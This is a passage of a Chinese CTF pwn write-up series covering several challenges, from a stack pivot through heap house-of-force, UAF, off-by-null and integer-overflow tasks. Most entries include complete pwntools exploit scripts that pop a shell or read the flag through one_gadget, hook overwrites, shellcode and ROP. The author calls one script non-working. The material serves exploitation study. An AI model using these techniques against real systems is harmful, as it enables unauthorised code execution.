找了找,在auth函数里面,memcpy可以溢出了,因为size最大可以为12,而v4距离返回值偏移也为12,似乎不够,只能覆盖到ebp,不过可以发现,在这个函数里面执行一次leave ret,然后这个函数退出了,到main函数,刚好又将会继续执行leave ret。所以其实就是一种栈迁移,把栈迁移到.bss上去,然后执行后门函数
1 2 3 4 5 6 7 8 from pwn import * p = remote("node4.buuoj.cn" ,25575 ) shell = 0x08049284 input_addr = 0x0811EB40 p.recvuntil("Authenticate : " ) payload = 'a' * 4 + p32(shell) + p32(input_addr) p.sendline(payload.encode('base64' )) p.interactive()
七十一、gyctf_2020_force image-20210916151101226
常规checksec一下,64位保护全开
image-20210916153042695
image-20210916153101689
进入IDA,总共就两个功能:一个是申请堆块,堆块大小无限制,并且能返回给堆地址,然后填入内容是固定长度0x50;另外一个puts功能。。。屁用没有!根据题目提示想到house of force
image-20210916163309864
因为程序会返回堆的地址,程序又不限制堆块的大小,所以我们可以申请一个大于top chunk的堆块,那么程序就会调用mmap进行分配堆块,此时堆块的地址会是libc中的一个地址
image-20210916163532720
image-20210916205725583
image-20210916205619022
然后申请一个小于0x50的堆块,让堆块能进行溢出覆盖top chunk的size位,修改为-1(也就是0xFFFFFFFFFFFFFFFF),同时也借着这个堆块能获取到top chunk的地址。修改完-1,因为使用malloc申请堆块时验证size的类型是无符号数,所以我们可以分配很大的堆块也仍然可以通过验证,借此直接申请一个超大堆块,直接占满top chunk与__malloc_hook之间长度,然后再申请一个堆块去修改hook的为one_gadget即可
然后呢。offse至少t减0x30,因为我们申请的堆块是有堆头,并且是要覆盖两个hook
image-20210916201004797
image-20210916201128484
最后的调整我有些理解不了,明明指向不是0,但最后却能getshell,只能说明应该是在最后执行完malloc后,rsp又被调整了吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./gyctf_2020_force" ) libc = ELF("./libc-2.23.so" ) p = remote("node4.buuoj.cn" ,28894 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("2:puts\n" ,'1' ) p.recvuntil("size\n" ) p.sendline(str (size)) p.recvuntil("0x" ) addr = int (p.recv(12 ),16 ) p.recvuntil("content\n" ) p.send(content) return addrdef show (idx ): p.sendlineafter("2:puts\n" ,'2' ) p.recvuntil("index:" ) p.sendline(str (idx))''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' libc_base = add(0x200000 ,'a' ) + 0x200ff0 log.info("libc_base==>0x%x" %libc_base) mlh = libc_base + libc.sym['__malloc_hook' ] ogg = libc_base + 0x4527a realloc = libc_base + libc.sym['__libc_realloc' ] top_chunk = add(0x18 ,'b' *0x10 + p64(0 ) + p64(0xFFFFFFFFFFFFFFFF )) + 0x10 log.info("top_chunk==>0x%x" %top_chunk) offset = mlh - top_chunk add(offset-0x33 ,'a' ) add(0x10 ,'a' *0x8 + p64(ogg) + p64(realloc + 0x10 )) p.sendlineafter("2:puts\n" ,'1' ) p.recvuntil("size\n" ) p.sendline(str (0x10 )) p.interactive()
七十二、pwnable_hacknote image-20210923153219237
常规checksec,32位,没开全RELRO,PIE。猜测可以劫持got表
image-20210923153712466
image-20210923153919700
在申请堆块功能里,发现一个有意思的东西,把一个调用puts的函数的地址赋值给了堆块内容,猜测打印功能就是直接使用这个函数指针,那么就可以试着修改这个指针,改为system,再把堆块内容修改为/bin/sh
image-20210923153939335
果然,直接调用了函数指针
image-20210923153908205
释放功能,指针没有置零,存在UAF
image-20210923193256099
第一步是获取libc,我的做法是借着释放unsorted chunk产生libc,然后再申请回来,覆盖fd指针为aaaa作为定位,然后将bk指针打印出来
1 2 3 4 5 6 7 8 9 10 add(0x80 ,'aaaa' ) add(0x80 ,";sh\x00" ) free(0 ) add(0x80 ,'aaaa' ) show(2 ) p.recvuntil('aaaa' ) libc_base = u32(p.recv(4 )) - 0x1B37B0 log.info("libc_base==>0x%x" %libc_base) system = libc_base + libc.sym['system' ] log.info(hex (system))
image-20210923193522763
然后就是修改函数指针,把函数指针改成指向system的,通过连续释放两个堆块,然后再申请回来(大小是0x8的),那么就会有一个堆块是之前可以调用show功能的堆块,修改这个堆块的内容为system地址,以及”;sh\x00”(或是”||sh”),因为上图传入的参数其实是函数指针的地址,所以要用;
或者||
才能也执行到sh而获取到shell,然后借着UAF执行show功能getshell
最后,我换了网上的做法,我前面使用unsorted chunk泄露libc可能远程有点不同,导致没能打通,只有本地通了
image-20210924081921009
然后我去实验了一下,发现远程的地址比本地的多了0x300,我打了五六次都是差0x300,之前做buu的堆题获取libc的方式,我已经记不清了,因为buu上的libc是被动过的libc,所以我本地打的时候加载的并不是和buu一模一样的libc,可能这就是因为小版本之间的差异吧,不过根据这次来看,版本之间的小差异,对算libc偏移造成的影响应该是比较小的,前后多试几个0xn00,说不定能行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * elf = ELF("./hacknote" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so" ) libc = ELF("./libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" , 26554 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice :" ,'1' ) p.recvuntil("Note size :" ) p.sendline(str (size)) p.recvuntil("Content :" ) p.send(content) def show (idx ): p.sendlineafter("Your choice :" ,'3' ) p.recvuntil("Index :" ) p.sendline(str (idx))def free (idx ): p.sendlineafter("Your choice :" ,'2' ) p.recvuntil("Index :" ) p.sendline(str (idx)) read_got = elf.got['read' ] puts = 0x804862b add(0x18 ,"aaaa" ) add(0x18 ,"bbbb" ) free(0 ) free(1 ) add(0x8 , p32(puts) + p32(read_got)) show(0 ) read = u32(p.recv(4 )) system = read - libc.symbols["read" ] + libc.symbols["system" ] success(hex (system)) free(2 ) add(8 , p32(system) + ";sh\x00" ) show(0 ) p.interactive()
七十三、ciscn_2019_final_4 image-20211007190521092
checksec一下,64位,没开PIE
image-20211007191435082
delete函数里面存在UAF
image-20211007191927917
禁用了execve,所以得要rop读取flag
image-20211007192957739
image-20211007193057775
似乎无法调试这题,去百度了一下https://blog.csdn.net/seaaseesa/article/details/105855306,原来前面的代码都是为了让我们无法调试的。`ptrace` 提供了一种机制使得父进程可以观察和控制子进程的执行过程。父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACE_TRACEME 为参数。
image-20211007193646167
image-20211007193755639
所以调试的子进程已经被占用,导致我们无法再生成一个,所以要让这段程序失效,根据师傅的做法是修改汇编代码为jmp $+0x9E
,直接跳转到后面的函数去执行,从而避免占用子进程
image-20211007194639451
用keypatch这样改不了。。。
image-20211007195234222
image-20211007195506179
image-20211007195609719
image-20211007195846918
所以模仿师傅的做法,修改机器码,把对应的机器码修改为上述的e999000000即可,然后就能调试了。
然后说下思路,大方向是orw读取flag,网上师傅的wp是利用前面给的栈地址进行伪造一个堆头,让后续的堆块可以分配过去控制返回地址(并且栈地址还得先要泄露出来),但是因为程序是个死循环,所以还要劫持里面的函数的返回地址,让程序真正的退出,才能去执行布置的rop。我觉得有点麻烦了,不如使用劫持malloc_hook为setcontext + 53,不用劫持这么多的。
好吧,我是沙比,忘了malloc的第一个参数是传入的size,兴冲冲要读flag,看到gdb里面rdi值是0xd0,人傻了,这题本来的做法太麻烦了,我不做了,溜了溜了
那就总结一下思路吧,防止以后比赛遇到了,也能有印象顺着做,慢慢调试
首先,反调试,可以选择修改ida里面的汇编指令,让反调试的程序不被执行到,从而可以调试。而机器指令可以用pwntools得到
其次,如果可以输入栈的内容,在里面布置堆头,由此推广,在可以输入的地方都可以布置出堆头,让我们可以通过size检查,。当然这仅仅是2.23的版本,之后的版本都不用检查size的。当然布置完堆头就要获得堆头对应的地址
然后,就是environ存着一个栈地址(虽然我本来就知道,当做是复习吧)。布置rop时长度不够写,可以先执行read函数,加长可写的长度
最后,如果程序不退出,可以修改某个函数的返回地址,我们让程序执行到返回地址,执行我们布置好的rop
over!
留下个错误脚本,跑路!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'info' ) elf = ELF("./ciscn_final_4" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})def debug (): gdb.attach(p,"b *0x0000000000400B2F" )def add (size,content ): p.sendlineafter(">> " ,'1' ) p.recvuntil("size?" ) p.sendline(str (size)) p.recvuntil("content?" ) p.send(content)def show (idx ): p.sendlineafter(">> " ,'3' ) p.recvuntil("index ?\n" ) p.sendline(str (idx))def free (idx ): p.sendlineafter(">> " ,'2' ) p.recvuntil("index ?" ) p.sendline(str (idx)) p.recvuntil("what is your name?" ) p.send('sc' ) add(0x80 ,'a' ) add(0x60 ,'b' ) add(0x60 ,'c' ) free(0 ) add(0x80 ,'a' *8 ) show(0 ) p.recvuntil('a' *0x8 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0x3c4b78 log.info("libc_base==>0x%x" %libc_base) mlh = libc_base + libc.sym['__malloc_hook' ] setcontext = libc_base + libc.sym['setcontext' ] + 53 free(1 ) free(2 ) free(1 ) show(2 ) heap_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0x90 log.info("heap_base==>0x%x" %heap_base) flag_addr = heap_base + 0x110 syscall = next (libc.search(asm("syscall\nret" ))) + libc_base pop_rdi = next (libc.search(asm('pop rdi\nret' ))) + libc_base pop_rsi = next (libc.search(asm('pop rsi\nret' ))) + libc_base pop_rdx = next (libc.search(asm('pop rdx\nret' ))) + libc_base pop_rax = next (libc.search(asm('pop rax\nret' ))) + libc_base ret = 0x00000417 + libc_base read = libc.sym['read' ] + libc_base write = libc.sym['write' ] + libc_base rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall) rop += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50 ) + p64(read) rop += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50 ) + p64(write) add(0xb0 ,p64(0 )*18 + p64(heap_base + 0x240 ) + p64(ret)) add(0xf8 ,rop) add(0x60 ,p64(mlh - 0x23 )) add(0x60 ,'./flag\x00' ) add(0x60 ,'b' ) add(0x60 ,p8(0 )*3 + p64(0 )*2 + p64(setcontext)) free(4 ) p.sendlineafter(">> " ,'1' ) p.recvuntil("size?" ) p.sendline(str (0xb0 )) p.interactive()
七十四、sctf_2019_easy_heap image-20211024164932819
漏洞点在于输入函数,存在offbynull,因此构造overlap
这题问题点在于构造overlap时,要进行合并的头堆块和尾堆块中间要夹着至少两个堆块(一个堆块会报错,刚开始我就一直卡着)。
然后对于libc的利用,因为unsorted bin上的libc地址距离malloc_hook地址很接近,只相差一个字节的内容,所以在制造了overlap后,申请堆块时注意,让被覆盖的fd指针上被写入libc地址,然后修改一字节内容即可。这样程序即是没有打印函数也无关紧要。
然后只要把堆块申请到mmap的地址上,然后把地址写入hook函数执行shellcode即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./sctf_2019_easy_heap" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" ) libc = ELF("./libc-2.27.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" ,27234 )def debug (): gdb.attach(p,"b main" ) def add (size ): p.sendlineafter(">> " ,'1' ) p.recvuntil("Size: " ) p.sendline(str (size)) p.recvuntil("Address 0x" ) return int (p.recv(12 ),16 ) def edit (idx,content ): p.sendlineafter(">> " ,'3' ) p.recvuntil("Index: " ) p.sendline(str (idx)) p.recvuntil("Content: " ) p.send(content)def free (idx ): p.sendlineafter(">> " ,'2' ) p.recvuntil("Index: " ) p.sendline(str (idx)) p.recvuntil("Mmap: 0x" ) shell_addr = int (p.recv(10 ),16 ) log.info("shell_addr==>0x%x" %shell_addr) add(0x410 ) add(0x28 ) add(0x18 ) add(0x4f0 ) add(0x18 ) edit(2 ,'a' *0x10 + p64(0x470 )) free(0 ) free(3 ) free(1 ) free(2 ) add(0x440 ) add(0x510 ) edit(0 ,'a' *0x418 + p64(0x31 ) + p64(shell_addr) + '\n' ) add(0x28 ) add(0x28 ) shellcode = asm( ''' mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall ''' ) edit(3 ,shellcode + '\n' ) edit(1 , '\x30' + '\n' ) add(0x18 ) add(0x18 ) edit(6 ,p64(shell_addr) + '\n' ) p.sendlineafter(">> " ,'1' ) p.recvuntil("Size: " ) p.sendline(str (0x50 )) p.interactive()
七十五、hitcon_2018_children_tcache image-20211030181121619
常规checksec,保护全开
image-20211030181304288
漏洞点在于申请功能里面的strcpy这个函数,把你内容复制过去时会自动在末尾加一个’\x00’,所以当填满数据时,造成了offbynull漏洞。
image-20211030181437290
这题特殊在释放函数会先对堆块的内容填入你写入 size
的大小的垃圾数据,这个是你写入的size,这个很重要
其次就是没有写功能,所以只能依赖于申请功能里面附带的写数据来实现写入。
利用:
因为是offbynull漏洞,那目的一定是要制造出堆块重叠的。泄露libc因为有着strcpy函数,所以会多个’\x00’截断问题,所以只能在制造出overlap时才能打印出libc地址。那么所有重心都在制造出overlap
这边要注意,因为是glibc-2.27版本,所以堆块是要申请入0x4f8这样的,不会被放入tcache里面,才能实现合并。然后就是pre_size位置的填充一定要把那个八个字节的内容都要填满才行
image-20211030181946581
这样写,才能溢出一个’\x00’
然后我们就要去修正前面为了占位置的垃圾的数据了,这边我用的是a这个字符。清空是用了前面强调的delete填充垃圾数据是根据我们申请堆块时候写进去的size填充的,所以如果我们依次减少一个字节申请数量,然后再填满我们申请的大小,借用strcpy溢出的’\x00’来逐个去清空前面为了修改pre_inuse位而填入的a
image-20211030182245802
image-20211030182305126
image-20211030182359347
最后就能全部清零,成功伪造出pre_inuse,后面就是常规的构造overlap,最后把one_gadget写入malloc_hook里面getshell
image-20211030182527290
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./HITCON_2018_children_tcache" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" ,25931 )def debug (): gdb.attach(p,"b main" ) def add (size,content ): p.sendlineafter("Your choice: " ,'1' ) p.recvuntil("Size:" ) p.sendline(str (size)) p.recvuntil("Data:" ) p.send(content) def show (idx ): p.sendlineafter("Your choice: " ,'2' ) p.recvuntil("Index:" ) p.sendline(str (idx))def free (idx ): p.sendlineafter("Your choice: " ,'3' ) p.recvuntil("Index:" ) p.sendline(str (idx)) ''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' add(0x4f8 ,'a' ) add(0x28 ,'b' ) add(0x28 ,'c' ) add(0x4f8 ,'d' ) add(0x18 ,'/bin/sh\x00' ) j = 6 for i in range (7 ): free(2 ) add(0x28 -i,'b' *0x20 + '\x60\x05' + 'a' *j) j = j - 1 free(0 ) free(3 ) add(0x4f8 ,'a' ) show(1 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0x3ebca0 log.info("libc_base==>0x%x" %libc_base) mlh = libc_base + libc.sym['__malloc_hook' ] ogg = libc_base + 0x10a38c free(2 ) add(0x38 ,'a' *0x30 + p64(mlh)) add(0x28 ,'a' ) add(0x28 ,p64(ogg)) p.sendlineafter("Your choice: " ,'1' ) p.recvuntil("Size:" ) p.sendline(str (0x60 )) p.interactive()
七十六、hfctf_2020_marksman image-20211104212411070
64位,保护全开,而且运行了一下,题目给了小礼物:libc地址
image-20211106145934254
而且程序很简单,可以看见,v6输入一个值,显然是输入一个地址的,然后底下可以修改三个字节内容,所以要getshell肯定是要想办法利用这三个字节把某个会被调用的libc内容修改为one_gadget,但是要想修改内容就要先通过check
image-20211106145902768
image-20211106150044423
check里面不允许写入一些字节,可以发现这些字节就是one_gadget的字节,也就是说是不允许直接写入这些one_gadget的。所以要转换一下思路
思路一 利用IDA查看这些one_gadget,去看看这些地址的上方有没有其他不会影响的操作,然后把地址修改为该地址,最终也会执行到one_gadget
image-20211106150346116
比如这个one_gadget,在上面是一个执行close的函数指令,显然是不会影响到one_gadget的,所以可以把这个地址作为修改地址,我们可以修改exit的__rtld_lock_unlock_recursive,这也是一个类似hook函数的东西,exit退出时会被执行到。所以可以修改这里的内容
image-20211106153902758
image-20211106160251870
另外值得注意的点(我踩坑了):这边的v6是用atol转换出来的,所以输入时直接用str转为字符串输入,如果使用p64打包,会变成16进制数,atol会识别不了,直接返回0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./hfctf_2020_marksman" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" ) libc = ELF("./libc-2.27.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' p.recvuntil("0x" ) libc_base = int (p.recv(12 ),16 ) - 0x809c0 log.info("libc_base==>0x%x" %libc_base) ogg = libc_base + 0x10a387 log.info("ogg==>0x%x" %ogg) exit_hook = libc_base + 0x81cf60 p.sendlineafter("shoot!shoot!\n" ,str (exit_hook)) p.sendlineafter("biang!\n" , p8(ogg&0xFF )) p.sendlineafter("biang!\n" , p8((ogg&0xFF00 )>>8 )) p.sendlineafter("biang!\n" , p8((ogg&0xFF0000 )>>16 )) p.interactive()
思路二 image-20211106154641512
禁用的只是常见的one_gadget,可以增加参数--level 2
查看更多的one_gadget,但是约束更多,而其中上图圈出的也是可以getshell的one_gadget
image-20211106161834320
另一个可以修改为one_gadget的地方就在不断追踪dlopen这个函数时,可以发现,在_dlerror_run+96的地址调用_dl_catch_error@plt
image-20211106162708556
image-20211106163050236
把这里的got表内容修改为one_gadget即可,没具体写exp,但是过程已经详细说明
image-20211106163226205
当然前提是RELRO没开全,允许修改libc里面的got表
七十七、hfctf_2020_sucurebox 漏洞在 size 限制时,可以存在整数溢出,可以让 size 成为一个大数。
image-20230201184708105
配合写的函数,可以达到任意写的地步。
image-20230201195052771
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import * context(arch = 'amd64' ,os = 'linux' , log_level = 'debug' ) elf = ELF('./hfctf_2020_sucurebox' ) DEBUG = 0 if DEBUG: libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" ) ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so" ) p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path}) else : ip = 'node4.buuoj.cn' port = 26001 libc = ELF("./libc-2.27.so" ) p = remote(ip, port) def debug (info="b main" ): gdb.attach(p, info) def choose (choice ): p.sendlineafter(b"5.Exit\n" , str (choice).encode('ascii' ))def add (size ): choose(1 ) p.recvuntil(b"Size:" ) p.sendline(str (size).encode('ascii' )) def edit (idx, offset1, offset2, content ): choose(3 ) p.recvuntil(b"Box ID: \n" ) p.sendline(str (idx).encode('ascii' )) p.recvuntil(b"Offset of msg: \n" ) p.sendline(str (offset1).encode('ascii' )) p.recvuntil(b"Len of msg: \n" ) p.sendline(str (offset2).encode('ascii' )) p.send(content)def show (idx, offset1, offset2 ): choose(4 ) p.recvuntil(b"Box ID: \n" ) p.sendline(str (idx).encode('ascii' )) p.recvuntil(b"Offset of msg: \n" ) p.sendline(str (offset1).encode('ascii' )) p.recvuntil(b"Len of msg: \n" ) p.sendline(str (offset2).encode('ascii' ))def free (idx ): choose(2 ) p.recvuntil(b"Box ID: \n" ) p.sendline(str (idx).encode('ascii' )) add(0x420 ) add(0x420 ) free(0 ) add(0x420 ) show(0 , 0 , 8 ) leak = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x3ebca0 log.info("libc_base==>0x%x" %leak) sys = leak + libc.sym['system' ] free_hook = leak + libc.sym['__free_hook' ] add(-4294963201 ) p.recvuntil(b'Key: \n' ) key = p.recv(24 ).strip().split(b' ' )for i in range (len (key)): key[i] = int (key[i], 16 )print (key) key = key[0 ] + (key[1 ]<<8 ) + (key[2 ]<<16 ) + (key[3 ]<<24 ) + (key[4 ]<<32 ) + (key[5 ]<<40 ) + (key[6 ]<<48 ) + (key[7 ]<<56 )print (hex (key)) sys ^= key edit(2 , free_hook, 8 , p64(sys)) binsh = '/bin/sh\x00' binsh_enc = b'' add(0x420 ) p.recvuntil(b'Key: \n' ) key = p.recv(24 ).strip().split(b' ' )print (key)for i in range (8 ): key[i] = int (key[i], 16 ) binsh_enc += p8(ord (binsh[i]) ^ key[i]) edit(3 , 0 , 8 , binsh_enc) free(3 ) p.interactive()